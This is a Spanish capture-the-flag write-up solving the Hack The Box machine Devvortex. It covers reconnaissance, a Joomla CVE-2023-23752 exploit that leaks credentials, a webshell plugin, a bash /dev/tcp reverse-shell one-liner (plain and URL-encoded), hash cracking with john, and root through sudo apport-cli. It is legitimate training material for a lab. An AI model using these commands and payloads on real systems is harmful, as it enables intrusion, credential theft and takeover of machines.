Devvortex

Diciembre 15, 2023

Introducción

Muestro como resolver la máquina Devvortex de la plataforma Hack the box.

Una vez conectados a través de Openvpn a la plataforma HTB procedemos a crear nuestro espacio de trabajo.

Con la herramienta Ping detectaremos ante que tipo de sistema operativo estamos.

ping -c 1 10.10.11.242
  • 1 => Como tiene un TTL cercano a 64 podemos deducir que estamos ante una máquina Linux.

Escaneo con NMAP

Procedemos con el escaneo de Nmap.
Este este primer escaneo cuenta con las siguiente características:

nmap -p- --open -Pn -n -vvv --min-rate 5000 10.10.11.242
  • -p-
    Este parámetro indica a Nmap que realice un escaneo de todos los puertos en el rango de 1 a 65535. La opción -p- es una forma abreviada de especificar todos los puertos.
  • –open
    Esta opción le dice a Nmap que solo muestre los puertos que están abiertos. Los puertos abiertos son aquellos que están escuchando conexiones y son accesibles.
  • -Pn
    Ignora la detección de hosts y asume que los hosts están activos. En otras palabras, Nmap no envía un ping para verificar si el host está vivo antes de realizar el escaneo de puertos.
  • -n
    Evita la resolución de nombres de hosts durante el escaneo. Si no se utiliza esta opción, Nmap intentará resolver las direcciones IP a nombres de host, lo cual puede llevar tiempo y no es necesario en todos los casos.
  • -vvv
    Incrementa el nivel de verbosidad a un nivel muy alto. Esto significa que Nmap proporcionará una gran cantidad de información detallada sobre el progreso del escaneo.
  • –min-rate 5000
    Especifica la velocidad mínima de envío de paquetes. En este caso, se establece en 5000 paquetes por segundo. Este parámetro controla la velocidad a la que Nmap envía los paquetes de escaneo.

Resultado obtenido

Extraer versión de los servicios y ejecutar scripts de reconocimiento

  • 1 =>SSH, Versión: OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux, protocol 2.0)
  • 2 =>HTTP, nginx 1.18.0 (Ubuntu)
    • 3 => Nombre de dominio del servicio HTTP

Agregamos el dominio al archivo /etc/hosts

El archivo /etc/hosts se utiliza para mapear direcciones IP a nombres de host de manera local en el sistema. Si un sistema necesita resolver un nombre de host a una dirección IP y esa información está presente en el archivo /etc/hosts, se utilizará esa entrada en lugar de consultar un servidor DNS.

  • 1 => Dirección IP: 10.10.11.242, Nombre dominio: devvortex.htb

Visualizamos la página

Ojeando la página web podemos obtener diferentes nombres de usuarios potenciales.

  • 1 => Lewis G
  • 2 => Emily R
  • 3 => Michael B

Visualizar código fuente de la página

Para visualizar el código fuente de la página escribimos en el input del navegador view-source seguido del dominio.

view-source: http:nombre-dominio.htb

Como no he visto nada de interés procedo con ataque de reconocimiento de directorios, archivos o subdominios ocultos.

Diccionarios SecLists

Existe un repositorio en Github en el que Daniel Miessler nos brinda un abanico extenso de diccionarios para realizar Fuzzing.
Dejo enlace al repositorio para quien quiera utilizarlo: https://github.com/danielmiessler/SecLists

Descubriendo directorios, archivos o subdominios con Wfuzz

wfuzz -c --hc 404 --hl 7 -t 100 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb -H "Host: FUZZ.devvortex.htb"
  • wfuzz
    Comando principal de la herramienta wfuzz
  • -c
    Indica a wfuzz que muestre el código de respuesta de las peticiones HTTP. Esto permite identificar si una solicitud fue exitosa o si se encontró un error.
  • –hc 404
    Filtra las respuestas que contienen el código de estado HTTP 404 (Not Found). Esto significa que se ignorarán las respuestas que indiquen que la página no existe.
  • –hl 7
    Filtra las respuestas que tienen una longitud menor o igual a 7 caracteres. Esto puede utilizarse para ignorar respuestas que contienen mensajes de error estándar o respuestas genéricas
  • -t 100
    Especifica el número de hilos concurrentes que wfuzz utilizará para realizar las solicitudes. En este caso, se han configurado 100 hilos, lo que puede acelerar el proceso de fuerza bruta.
  • -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-2000.txt
    Indica la ruta al archivo de palabras o lista de palabras que se utilizará para realizar el ataque de fuerza bruta. En este caso, se está utilizando una lista de subdominios llamada subdomains-top1million-20000.txt que se encuentra en el directorio especificado.
  • -H "Host: FUZZ.devvortex.htb"
    Especifica la cabecera HTTP a ser utilizada en las solicitudes. La palabra FUZZ actúa como un marcador de posición que será reemplazado por cada elemento de la lista de palabras durante el ataque de fuerza bruta. En este contexto, se está probando subdominios añadiéndolos al dominio principal devvortex.htb.

Resultados obtenidos con wfuzz

Como resultado he obtenido el subdominio dev. Procedo a agregarlo al archivo /etc/hosts para poder visualizar la web en el navegador.

Código fuente del subdominio encontrado

  • 1 => Nombre de tema Cassiopeia

Como no sabía a que CMS correspondía lo he buscado en internet.

Se puede ver que corresponde a Joomla por lo que procedemos a escanear la web con la herramienta Joomscan.

Joomscan

joomscan --url http://dev.devvortex.com

Información de interés obtenida por Joomscan.

  • 1 => Versión que está corriendo Joomla
  • 2 => Panel de login
  • 3 => Rutas interesantes

Información sobre la versión de Joomla

Mirando en internet he encontrado este exploit que obtiene las credenciales del usuario Lewis.
Enlace exploit Github: https://github.com/Acceis/exploit-CVE-2023-23752.git

Lo descargamos con el comando git clone.

git clone https://github.com/Acceis/exploit-CVE-2023-23752.git

Una vez descargado debemos leer el archivo README.md para ver como funciona.
En este caso nos pide que ejecutemos el comando bundle install para que instale las dependencias necesarias.
Una vez hecho esto ejecutamos el exploit de la siguiente manera:

ruby exploit.rb http://dev.devvortex.htb:80

Obtenemos la respuesta del exploit.

Credenciales obtenidas:

  • Usuario: lewis
  • Password: P4ntherg0t1n5r3c0n##

Iniciamos sesión en Joomla

Existe un plugin de nombre Joomla Webshell con el que podremos ejecutar un RCE (Remote Code Execution).
Este es el directorio de github: https://github.com/p0dalirius/Joomla-webshell-plugin.git

Lo descargamos con el comando git clone:

git clone https://github.com/p0dalirius/Joomla-webshell-plugin.git

Una vez descargado, nos metemos dentro del directorio y ejecutamos el comando make.

make

Nos generará el plugin en formato .zip en la siguiente ruta: ./dist/joomla-webshell-plugin-1.1.0.zip

Subimos el plugin.

  • 1 => Ruta subir plugin
  • 2 => Arrastrar y soltar plugin

Ejecución de comandos mediante CURL

$ curl -X POST 'http://dev.devvortex.htb:80/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"

Procedemos a entablar la revershell

Oneliner en bash

bash -c "bash -i >& /dev/tcp/10.0.0.1/4433 0>&1"

Codificamos en formato URL el onliner y nos ponemos en escucha con netcat.

nc -lnvp 4433

Oneliner URL-encodeada

%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70
%2f%31%30%2e%30%2e%30%2e%31%2f%34%34%33%33%20%30%3e%26%31%22

Obtenemos la revershell

Tratamiento de consola

script /dev/null -c bash

Ctrl +  Z

stty raw -echo; fg

reset xterm

export TERM=xterm-256color
source /etc/skel/.bashrc

stty size # Devuelve numeroFilas y numeroColumnas

stty rows numerFilas columns numeroColumnas

Accedemos a MySQL

Para acceder a MySQL utilizamos las credenciales de lewis.

mysql -u lewis -p

Indicamos que queremos que nos muestre todas las bases de datos.

show databases;

Accedemos a la base de datos y listamos las tablas.

show tables;

Imprimimos los registros de la base de datos sd4fg_users.

select username,password from sd4fg_users;

Obtenemos las hashes con las credenciales de los usuarios lewis y logan.

  • lewis : $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
  • logan: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

Hashes.com

Pasamos los hashes por hashes.com y obtenemos que pertenece al tipo bcrypt.

Enlace: https://hashes.com/es/tools/hash_identifier

Herramienta John

Utilizamos el diccionario rockyou y la herramienta john de ripper para intentar romper por fuerza bruta los hashes.

john --format=bcrypt --wordlist=./rockyou.txt hash_logan.txt
  • Contraseña: tequieromucho

Iniciamos sesión por SSH

  • Usuario: logan
  • Password: tequieromucho
ssh logan@10.10.11.242

Obtenemos la primera flag.

Escalada de privilegios

Enumeramos los permisos que tiene logan.

sudo -l

Podemos ver que ejecuta el binario /usr/bin/apport-cli con permisos de sudo.

Explotación /usr/bin/apport-cli

Mirando en internet he visto que el binario apport-cli tiene una vulnerabilidad que puede ser explotada para escalar privilegios.
A la hora de crear un nuevo informe este nos abre un editor de texto mediante el cual podemos ejecutar código.

Procedemos con la escalada.

sudo /usr/bin/apport-cli -f

Pulsa en la opción (1) Display (X.org).
Pulsamos en la opción (2) Feezes or hangs during boot or usage
Pulsamos en (V) View report

Cuando nos aparece los : (2 puntos) debemos introducir !/bin/bash, obteniendo una shell que se ejecutará como root.

Obtenemos la segunda flag.